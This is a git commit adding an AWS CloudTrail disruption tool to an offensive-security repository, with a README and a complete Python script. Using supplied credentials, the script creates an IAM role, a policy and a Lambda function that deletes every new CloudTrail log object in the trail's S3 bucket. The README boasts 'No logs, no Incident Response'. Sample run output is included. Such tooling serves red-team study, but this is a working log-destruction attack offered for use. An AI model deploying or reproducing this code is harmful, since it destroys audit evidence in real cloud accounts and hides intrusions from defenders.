Added AWS CloudTrail disruption tool
This commit is contained in:
parent
089710422d
commit
007719bb88
|
@ -13,6 +13,7 @@ Most of these files actually comes straight from my [Gists](https://gist.github.
|
|||
|
||||
This repository is divided further onto following directories:
|
||||
|
||||
- `clouds` - Cloud-Security related tools
|
||||
- `file-formats` - Contains various file-format related utilities, fuzzers and so on.
|
||||
- `linux` - Contains linux-based scripts for various purposes.
|
||||
- `networks` - Network devices & services Penetration Testing and auditing scripts
|
||||
|
|
|
@ -0,0 +1,88 @@
|
|||
|
||||
## AWS-related penetration testing scripts, tools and Cheatsheets
|
||||
|
||||
- **`disruptCloudTrailByS3Lambda.py`** - This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object. No object, no logs. No logs, no Incident Response :-)
|
||||
|
||||
One will need to pass AWS credentials to this tool. Also, the account affected should have a bunch of required permissions.
|
||||
|
||||
Following changes are introduced to a specified AWS account:
|
||||
- IAM role will be created, by default with name: `cloudtrail_helper_role`
|
||||
- IAM policy will be created, by default with name: `cloudtrail_helper_policy`
|
||||
- Lambda function will be created, by default with name: `cloudtrail_helper_function`
|
||||
- Put Event notification will be configured on affected CloudTrail S3 buckets.
|
||||
|
||||
This tool will fail upon first execution with the following exception:
|
||||
|
||||
```
|
||||
[-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation: The role defined for the function cannot be assumed by Lambda.
|
||||
```
|
||||
|
||||
At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done.
|
||||
|
||||
```
|
||||
bash $ python3 disruptCloudTrailByS3Lambda.py --help
|
||||
|
||||
:: AWS CloudTrail disruption via S3 Put notification to Lambda
|
||||
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
|
||||
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
||||
|
||||
usage: disruptCloudTrailByS3Lambda.py [options] <region> [trail_name]
|
||||
|
||||
required arguments:
|
||||
region AWS region to use.
|
||||
--access-key ACCESS_KEY
|
||||
AWS Access Key ID
|
||||
--secret-key SECRET_KEY
|
||||
AWS Access Key ID
|
||||
--token TOKEN AWS temporary session token
|
||||
|
||||
optional arguments:
|
||||
trail_name CloudTrail name that you want to disrupt. If not
|
||||
specified, will disrupt every actively logging trail.
|
||||
--disrupt By default, this tool will install Lambda that is only
|
||||
logging that it could remove S3 objects. By using this
|
||||
switch, there is going to be Lambda introduced that
|
||||
actually deletes objects.
|
||||
--role-name ROLE_NAME
|
||||
name for AWS Lambda role
|
||||
--policy-name POLICY_NAME
|
||||
name for a policy for that Lambda role
|
||||
--function-name FUNCTION_NAME
|
||||
name for AWS Lambda function
|
||||
|
||||
|
||||
bash $ python3 disruptCloudTrailByS3Lambda.py --access-key ASIAXXXXXXXXXXXXXXXX --secret-key Gaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --token FQoGZX[...]
|
||||
|
||||
:: AWS CloudTrail disruption via S3 Put notification to Lambda
|
||||
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
|
||||
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
||||
|
||||
[.] Will be working on Account ID: 712800000000
|
||||
[.] Step 1: Determine trail to disrupt
|
||||
[+] Trail cloudgoat_trail is actively logging (multi region? No).
|
||||
[.] Trails intended to be disrupted:
|
||||
- cloudgoat_trail
|
||||
|
||||
[.] Step 2: Create a role to be assumed by planted Lambda
|
||||
[-] Role with name: cloudtrail_helper_role already exists.
|
||||
[.] Step 3: Create a policy for that role
|
||||
[-] Policy with name: cloudtrail_helper_policy already exists.
|
||||
[.] Step 4: Attach policy to the role
|
||||
[.] Attaching policy (arn:aws:iam::712800000000:policy/cloudtrail_helper_policy) to the role cloudtrail_helper_role
|
||||
[-] Policy is already attached.
|
||||
[.] Step 5: Create Lambda function
|
||||
[.] Using non-disruptive lambda.
|
||||
[.] Creating a lambda function named: cloudtrail_helper_function on Role: arn:aws:iam::712800000000:role/cloudtrail_helper_role
|
||||
[+] Function created.
|
||||
[.] Step 6: Permit function to be invoked on all trails
|
||||
[.] Adding invoke permission to func: cloudtrail_helper_function on S3 bucket: arn:aws:s3:::90112981864022885796153088027941100000000000000000000000
|
||||
[.] Step 7: Configure trail bucket's put notification
|
||||
[.] Putting a bucket notification configuration to 90112981864022885796153088027941100000000000000000000000, ARN: arn:aws:lambda:us-west-2:712800000000:function:cloudtrail_helper_function
|
||||
[+] Installed CloudTrail's S3 bucket disruption Lambda.
|
||||
```
|
||||
|
||||
Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified:
|
||||
|
||||
```
|
||||
[*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz)
|
||||
```
|
|
@ -0,0 +1,511 @@
|
|||
#!/usr/bin/python3
|
||||
|
||||
import io
|
||||
import sys
|
||||
import time
|
||||
import json
|
||||
import boto3
|
||||
import urllib
|
||||
import zipfile
|
||||
import argparse
|
||||
|
||||
config = {
|
||||
'debug' : False,
|
||||
|
||||
'region' : '',
|
||||
'trail-name' : '',
|
||||
'access-key' : '',
|
||||
'secret-key' : '',
|
||||
'token' : '',
|
||||
|
||||
'disrupt' : False,
|
||||
|
||||
'role-name' : '',
|
||||
'policy-name' : '',
|
||||
'function-name' : '',
|
||||
|
||||
'statement-id' : 'ID-1',
|
||||
}
|
||||
|
||||
aws_policy_lambda_assume_role = {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "lambda.amazonaws.com"
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
aws_policy_for_lambda_role = {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"logs:CreateLogGroup",
|
||||
"logs:CreateLogStream",
|
||||
"logs:PutLogEvents"
|
||||
],
|
||||
"Resource": "arn:aws:logs:*:*:*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"s3:GetObject",
|
||||
"s3:PutObject",
|
||||
"s3:DeleteObject",
|
||||
"s3:DeleteObjectVersion"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
aws_s3_bucket_notification_configuration = {
|
||||
"LambdaFunctionConfigurations": [
|
||||
{
|
||||
"LambdaFunctionArn": "<TO-BE-CREATED-LATER>",
|
||||
"Id": config['statement-id'],
|
||||
"Events": [
|
||||
"s3:ObjectCreated:*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
disruption_lambda_code_do_harm = '''
|
||||
response = s3.delete_object(Bucket=bucket, Key=key)
|
||||
'''
|
||||
|
||||
disruption_lambda_code_no_harm = '''
|
||||
print("[*] Following S3 object could be removed: (Bucket={}, Key={})".format(bucket, key))
|
||||
'''
|
||||
|
||||
disruption_lambda_code = '''
|
||||
import json
|
||||
import urllib
|
||||
import boto3
|
||||
|
||||
s3 = boto3.client('s3')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
bucket = event['Records'][0]['s3']['bucket']['name']
|
||||
key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8')
|
||||
{code}
|
||||
except Exception as e:
|
||||
print('S3 delete object failed: ' + str(e))
|
||||
raise e
|
||||
'''
|
||||
|
||||
|
||||
class Logger:
|
||||
@staticmethod
|
||||
def _out(x):
|
||||
sys.stdout.write(x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def out(x):
|
||||
Logger._out('[>] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def info(x):
|
||||
Logger._out('[.] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def fatal(x):
|
||||
sys.stdout.write('[!] ' + x + '\n')
|
||||
sys.exit(1)
|
||||
|
||||
@staticmethod
|
||||
def fail(x):
|
||||
Logger._out('[-] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def ok(x):
|
||||
Logger._out('[+] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def dbg(x):
|
||||
if config['debug']:
|
||||
sys.stdout.write(f'[dbg] {x}\n')
|
||||
|
||||
class CloudTrailDisruptor:
|
||||
session = None
|
||||
def __init__(self, region, access_key, secret_key, token = ''):
|
||||
self.region = region
|
||||
self.access_key = access_key
|
||||
self.secret_key = secret_key
|
||||
self.token = token
|
||||
self.session = None
|
||||
self.authenticate()
|
||||
|
||||
def authenticate(self):
|
||||
try:
|
||||
self.session = None
|
||||
self.session = boto3.Session(
|
||||
aws_access_key_id = self.access_key,
|
||||
aws_secret_access_key = self.secret_key,
|
||||
aws_session_token = self.token,
|
||||
region_name = self.region
|
||||
)
|
||||
except Exception as e:
|
||||
Logger.fail(f'Could obtain AWS session: {e}')
|
||||
raise e
|
||||
|
||||
def get_session(self):
|
||||
return self.session
|
||||
|
||||
def get_account_id(self):
|
||||
try:
|
||||
return self.session.client('sts').get_caller_identity()['Account']
|
||||
except Exception as e:
|
||||
Logger.fatal(f'Could not Get Caller\'s identity: {e}')
|
||||
|
||||
def find_trails_to_disrupt(self):
|
||||
cloudtrail = self.session.client('cloudtrail')
|
||||
trails = cloudtrail.describe_trails()
|
||||
|
||||
disrupt = []
|
||||
|
||||
for trail in trails['trailList']:
|
||||
Logger.dbg(f"Checking whether trail {trail['Name']} is logging.")
|
||||
status = cloudtrail.get_trail_status(Name = trail['Name'])
|
||||
if status and status['IsLogging']:
|
||||
r = 'Yes' if trail['IsMultiRegionTrail'] else 'No'
|
||||
Logger.ok(f"Trail {trail['Name']} is actively logging (multi region? {r}).")
|
||||
disrupt.append(trail)
|
||||
|
||||
return disrupt
|
||||
|
||||
def create_role(self, role_name, role_policy, description = ''):
|
||||
iam = self.session.client('iam')
|
||||
policy = json.dumps(role_policy)
|
||||
|
||||
roles = iam.list_roles()
|
||||
for role in roles['Roles']:
|
||||
if role['RoleName'] == role_name:
|
||||
Logger.fail(f'Role with name: {role_name} already exists.')
|
||||
Logger.dbg("Returning: {}".format(str({'Role':role})))
|
||||
return {'Role' : role}
|
||||
|
||||
Logger.info(f'Creating a role named: {role_name}')
|
||||
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
|
||||
|
||||
out = {}
|
||||
try:
|
||||
out = iam.create_role(
|
||||
RoleName = role_name,
|
||||
AssumeRolePolicyDocument = policy,
|
||||
Description = description
|
||||
)
|
||||
except Exception as e:
|
||||
Logger.fatal(f'Could not create a role for Lambda: {e}')
|
||||
# Due to fatal, code will not reach this path
|
||||
return False
|
||||
|
||||
Logger.ok(f'Role created.')
|
||||
Logger.dbg(f'Returned: {out}')
|
||||
|
||||
return out
|
||||
|
||||
def create_role_policy(self, policy_name, policy_document, description = ''):
|
||||
iam = self.session.client('iam')
|
||||
policy = json.dumps(policy_document)
|
||||
|
||||
policies = iam.list_policies(Scope = 'All')
|
||||
for p in policies['Policies']:
|
||||
if p['PolicyName'] == policy_name:
|
||||
Logger.fail(f'Policy with name: {policy_name} already exists.')
|
||||
return {'Policy' : p}
|
||||
|
||||
Logger.info(f'Creating a policy named: {policy_name}')
|
||||
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
|
||||
|
||||
out = {}
|
||||
try:
|
||||
out = iam.create_policy(
|
||||
PolicyName = policy_name,
|
||||
PolicyDocument = policy,
|
||||
Description = description
|
||||
)
|
||||
except Exception as e:
|
||||
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
|
||||
# Due to fatal, code will not reach this path
|
||||
return False
|
||||
|
||||
Logger.ok(f'Policy created.')
|
||||
Logger.dbg(f'Returned: {out}')
|
||||
|
||||
return out
|
||||
|
||||
def attach_role_policy(self, role_name, policy_arn):
|
||||
Logger.info(f'Attaching policy ({policy_arn}) to the role {role_name}')
|
||||
|
||||
iam = self.session.client('iam')
|
||||
|
||||
attached = iam.list_attached_role_policies(RoleName = role_name)
|
||||
for policy in attached['AttachedPolicies']:
|
||||
if policy['PolicyArn'] == policy_arn:
|
||||
Logger.fail(f'Policy is already attached.')
|
||||
return True
|
||||
|
||||
try:
|
||||
iam.attach_role_policy(
|
||||
RoleName = role_name,
|
||||
PolicyArn = policy_arn
|
||||
)
|
||||
except Exception as e:
|
||||
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
|
||||
# Due to fatal, code will not reach this path
|
||||
return False
|
||||
|
||||
Logger.ok(f'Policy attached.')
|
||||
return True
|
||||
|
||||
# Source: https://stackoverflow.com/a/51899017
|
||||
@staticmethod
|
||||
def create_in_mem_zip_archive(file_map, files):
|
||||
buf = io.BytesIO()
|
||||
Logger.dbg("Building zip file: " + str(files))
|
||||
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zfh:
|
||||
for file_name in files:
|
||||
file_blob = file_map.get(file_name)
|
||||
if file_blob is None:
|
||||
Logger.fail("Missing file {} from files".format(file_name))
|
||||
continue
|
||||
try:
|
||||
info = zipfile.ZipInfo(file_name)
|
||||
info.date_time = time.localtime()
|
||||
info.compress_type = zipfile.ZIP_DEFLATED
|
||||
info.external_attr = 0o777 << 16 # give full access
|
||||
zfh.writestr(info, file_blob)
|
||||
except Exception as ex:
|
||||
raise ex
|
||||
Logger.fail("Error reading file: " + file_name + ", error: " + ex.message)
|
||||
buf.seek(0)
|
||||
return buf.read()
|
||||
|
||||
|
||||
def create_lambda_function(self, function_name, role_name, code, description = ''):
|
||||
awslambda = self.session.client('lambda')
|
||||
lambdacode = CloudTrailDisruptor.create_in_mem_zip_archive(
|
||||
{'lambda_function.py': code},
|
||||
{'lambda_function.py'}
|
||||
)
|
||||
|
||||
funcs = awslambda.list_functions()
|
||||
for f in funcs['Functions']:
|
||||
if f['FunctionName'] == function_name:
|
||||
Logger.fail(f'Function with name: {function_name} already exists. Removing old one.')
|
||||
awslambda.delete_function(FunctionName = function_name)
|
||||
Logger.ok('Old function was removed.')
|
||||
break
|
||||
|
||||
Logger.info(f'Creating a lambda function named: {function_name} on Role: {role_name}')
|
||||
Logger.dbg(f'Lambda code to be used:\n{code}')
|
||||
|
||||
out = {}
|
||||
try:
|
||||
out = awslambda.create_function(
|
||||
FunctionName = function_name,
|
||||
Runtime = 'python2.7',
|
||||
Role = role_name,
|
||||
Handler = 'lambda_function.lambda_handler',
|
||||
Code = {
|
||||
'ZipFile' : lambdacode,
|
||||
},
|
||||
Description = description,
|
||||
Timeout = 30,
|
||||
Publish = True
|
||||
)
|
||||
Logger.ok(f'Function created.')
|
||||
except Exception as e:
|
||||
Logger.fail(f'Could not create a Lambda function: {e}')
|
||||
if 'The role defined for the function cannot be assumed by Lambda.' in str(e):
|
||||
Logger.info('====> This is a known bug (?). Running again this program should get the job done.')
|
||||
|
||||
Logger.dbg(f'Returned: {out}')
|
||||
return out
|
||||
|
||||
def permit_function_invoke(self, function_name, statement_id, bucket_arn):
|
||||
awslambda = self.session.client('lambda')
|
||||
|
||||
Logger.info(f'Adding invoke permission to func: {function_name} on S3 bucket: {bucket_arn}')
|
||||
try:
|
||||
out = awslambda.add_permission(
|
||||
FunctionName = function_name,
|
||||
Action = 'lambda:InvokeFunction',
|
||||
Principal = 's3.amazonaws.com',
|
||||
SourceArn = bucket_arn,
|
||||
StatementId = statement_id
|
||||
)
|
||||
except Exception as e:
|
||||
Logger.fail(f'Could not add permission to the Lambda: {e}. Continuing anyway.')
|
||||
|
||||
return out
|
||||
|
||||
def set_s3_put_notification(self, bucket, notification_configuration):
|
||||
s3 = self.session.client('s3')
|
||||
|
||||
arn = notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn']
|
||||
conf = s3.get_bucket_notification_configuration(Bucket = bucket)
|
||||
if 'LambdaFunctionConfigurations' in conf.keys():
|
||||
for configuration in conf['LambdaFunctionConfigurations']:
|
||||
if configuration['Id'] == config['statement-id'] and arn == configuration['LambdaFunctionArn']:
|
||||
Logger.fail('S3 Put notification already configured for that function on that S3 bucket.')
|
||||
return True
|
||||
|
||||
Logger.info(f'Putting a bucket notification configuration to {bucket}, ARN: {arn}')
|
||||
Logger.dbg(f'Notification used :\n{notification_configuration}')
|
||||
|
||||
out = {}
|
||||
try:
|
||||
out = s3.put_bucket_notification_configuration(
|
||||
Bucket = bucket,
|
||||
NotificationConfiguration = notification_configuration
|
||||
)
|
||||
except Exception as e:
|
||||
Logger.fail(f'Could not put bucket notification configuration: {e}')
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def parseOptions(argv):
|
||||
global config
|
||||
|
||||
print('''
|
||||
:: AWS CloudTrail disruption via S3 Put notification to Lambda
|
||||
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
|
||||
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
||||
''')
|
||||
|
||||
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <region> [trail_name]')
|
||||
parser._action_groups.pop()
|
||||
required = parser.add_argument_group('required arguments')
|
||||
optional = parser.add_argument_group('optional arguments')
|
||||
|
||||
required.add_argument('region', type=str, help = 'AWS region to use.')
|
||||
|
||||
required.add_argument('--access-key', type=str, help = 'AWS Access Key ID')
|
||||
required.add_argument('--secret-key', type=str, help = 'AWS Access Key ID')
|
||||
required.add_argument('--token', type=str, help = 'AWS temporary session token')
|
||||
|
||||
optional.add_argument('trail_name', type=str, default = 'all', nargs='?', help = 'CloudTrail name that you want to disrupt. If not specified, will disrupt every actively logging trail.')
|
||||
|
||||
optional.add_argument('--disrupt', action='store_true', default = False, help = 'By default, this tool will install Lambda that is only logging that it could remove S3 objects. By using this switch, there is going to be Lambda introduced that actually deletes objects.')
|
||||
|
||||
optional.add_argument('--role-name', type=str, default='cloudtrail_helper_role', help = 'name for AWS Lambda role')
|
||||
optional.add_argument('--policy-name', type=str, default='cloudtrail_helper_policy', help = 'name for a policy for that Lambda role')
|
||||
optional.add_argument('--function-name', type=str, default='cloudtrail_helper_function', help = 'name for AWS Lambda function')
|
||||
|
||||
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
config['debug'] = args.debug
|
||||
config['access-key'] = args.access_key
|
||||
config['secret-key'] = args.secret_key
|
||||
config['token'] = args.token
|
||||
|
||||
config['region'] = args.region
|
||||
config['disrupt'] = args.disrupt
|
||||
config['trail-name'] = args.trail_name
|
||||
config['role-name'] = args.role_name
|
||||
config['policy-name'] = args.policy_name
|
||||
config['function-name'] = args.function_name
|
||||
|
||||
if not args.access_key or not args.secret_key:
|
||||
Logger.fatal("Please provide AWS Access Key, Secret Key and optionally Session Token")
|
||||
|
||||
return args
|
||||
|
||||
def main(argv):
|
||||
opts = parseOptions(argv)
|
||||
if not opts:
|
||||
Logger.err('Options parsing failed.')
|
||||
return False
|
||||
|
||||
dis = CloudTrailDisruptor(
|
||||
config['region'],
|
||||
config['access-key'],
|
||||
config['secret-key'],
|
||||
config['token']
|
||||
)
|
||||
|
||||
account_id = dis.get_account_id()
|
||||
Logger.info(f'Will be working on Account ID: {account_id}')
|
||||
|
||||
Logger.info('Step 1: Determine trail to disrupt')
|
||||
trails = []
|
||||
if config['trail-name'] and config['trail-name'] != 'all':
|
||||
Logger.ok(f"Will use trail specified by user: {config['trail-name']}")
|
||||
trail_name = config['trail-name']
|
||||
ct = dis.get_session().client('cloudtrail')
|
||||
t = ct.describe_trails(trailNameList=[trail_name,])
|
||||
trails.append(t[0])
|
||||
else:
|
||||
trails.extend(dis.find_trails_to_disrupt())
|
||||
|
||||
Logger.info('Trails intended to be disrupted:')
|
||||
for trail in trails:
|
||||
Logger._out(f'\t- {trail["Name"]}')
|
||||
|
||||
Logger._out('')
|
||||
Logger.info('Step 2: Create a role to be assumed by planted Lambda')
|
||||
created_role = dis.create_role(config['role-name'], aws_policy_lambda_assume_role)
|
||||
if not created_role:
|
||||
Logger.fatal('Could not create a lambda role.')
|
||||
|
||||
Logger.info('Step 3: Create a policy for that role')
|
||||
policy = dis.create_role_policy(config['policy-name'], aws_policy_for_lambda_role)
|
||||
if not policy:
|
||||
Logger.fatal('Could not create a policy for lambda role.')
|
||||
|
||||
Logger.info('Step 4: Attach policy to the role')
|
||||
if not dis.attach_role_policy(config['role-name'], policy['Policy']['Arn']):
|
||||
Logger.fatal('Could not attach a policy to the lambda role.')
|
||||
|
||||
Logger.info('Step 5: Create Lambda function')
|
||||
code = ''
|
||||
|
||||
if config['disrupt']:
|
||||
code = disruption_lambda_code.format(code = disruption_lambda_code_do_harm)
|
||||
Logger.info('\tUSING DISRUPTIVE LAMBDA!')
|
||||
else:
|
||||
code = disruption_lambda_code.format(code = disruption_lambda_code_no_harm)
|
||||
Logger.info('\tUsing non-disruptive lambda.')
|
||||
|
||||
if not dis.create_lambda_function(config['function-name'], created_role['Role']['Arn'], code):
|
||||
Logger.fatal('Could not create a Lambda function.')
|
||||
|
||||
Logger.info('Step 6: Permit function to be invoked on all trails')
|
||||
for trail in trails:
|
||||
bucket_arn = f"arn:aws:s3:::{trail['S3BucketName']}"
|
||||
dis.permit_function_invoke(config['function-name'], config['statement-id'], bucket_arn)
|
||||
|
||||
Logger.info('Step 7: Configure trail bucket\'s put notification')
|
||||
global aws_s3_bucket_notification_configuration
|
||||
|
||||
regions = [config['region'], ]
|
||||
for region in regions:
|
||||
arn = f"arn:aws:lambda:{region}:{account_id}:function:{config['function-name']}"
|
||||
aws_s3_bucket_notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn'] = arn
|
||||
for trail in trails:
|
||||
dis.set_s3_put_notification(
|
||||
trail['S3BucketName'],
|
||||
aws_s3_bucket_notification_configuration
|
||||
)
|
||||
|
||||
print("[+] Installed CloudTrail's S3 bucket disruption Lambda.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
Loading…
Reference in New Issue